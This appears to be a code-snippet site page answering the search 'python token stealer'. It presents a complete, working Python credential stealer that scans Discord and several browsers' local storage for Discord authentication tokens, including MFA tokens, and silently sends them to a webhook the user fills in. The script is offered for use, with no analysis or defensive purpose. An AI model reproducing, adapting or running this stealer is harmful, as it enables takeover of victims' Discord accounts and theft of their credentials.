python token stealer

Solutions on MaxInterview for python token stealer by the best coders in the world

showing results for - "python token stealer"
Maite
26 Mar 2017
1import os
2import re
3import json
4
5from urllib.request import Request, urlopen
6
7# your webhook URL
8WEBHOOK_URL = 'WEBHOOK HERE'
9
10# mentions you when you get a hit
11PING_ME = False
12
13def find_tokens(path):
14    path += '\\Local Storage\\leveldb'
15
16    tokens = []
17
18    for file_name in os.listdir(path):
19        if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
20            continue
21
22        for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
23            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
24                for token in re.findall(regex, line):
25                    tokens.append(token)
26    return tokens
27
28def main():
29    local = os.getenv('LOCALAPPDATA')
30    roaming = os.getenv('APPDATA')
31
32    paths = {
33        'Discord': roaming + '\\Discord',
34        'Discord Canary': roaming + '\\discordcanary',
35        'Discord PTB': roaming + '\\discordptb',
36        'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
37        'Opera': roaming + '\\Opera Software\\Opera Stable',
38        'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
39        'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
40    }
41
42    message = '@everyone' if PING_ME else ''
43
44    for platform, path in paths.items():
45        if not os.path.exists(path):
46            continue
47
48        message += f'\n**{platform}**\n```\n'
49
50        tokens = find_tokens(path)
51
52        if len(tokens) > 0:
53            for token in tokens:
54                message += f'{token}\n'
55        else:
56            message += 'No tokens found.\n'
57
58        message += '```'
59
60    headers = {
61        'Content-Type': 'application/json',
62        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
63    }
64
65    payload = json.dumps({'content': message})
66
67    try:
68        req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
69        urlopen(req)
70    except:
71        pass
72
73if __name__ == '__main__':
74    main()
similar questions
queries leading to this page
python token stealer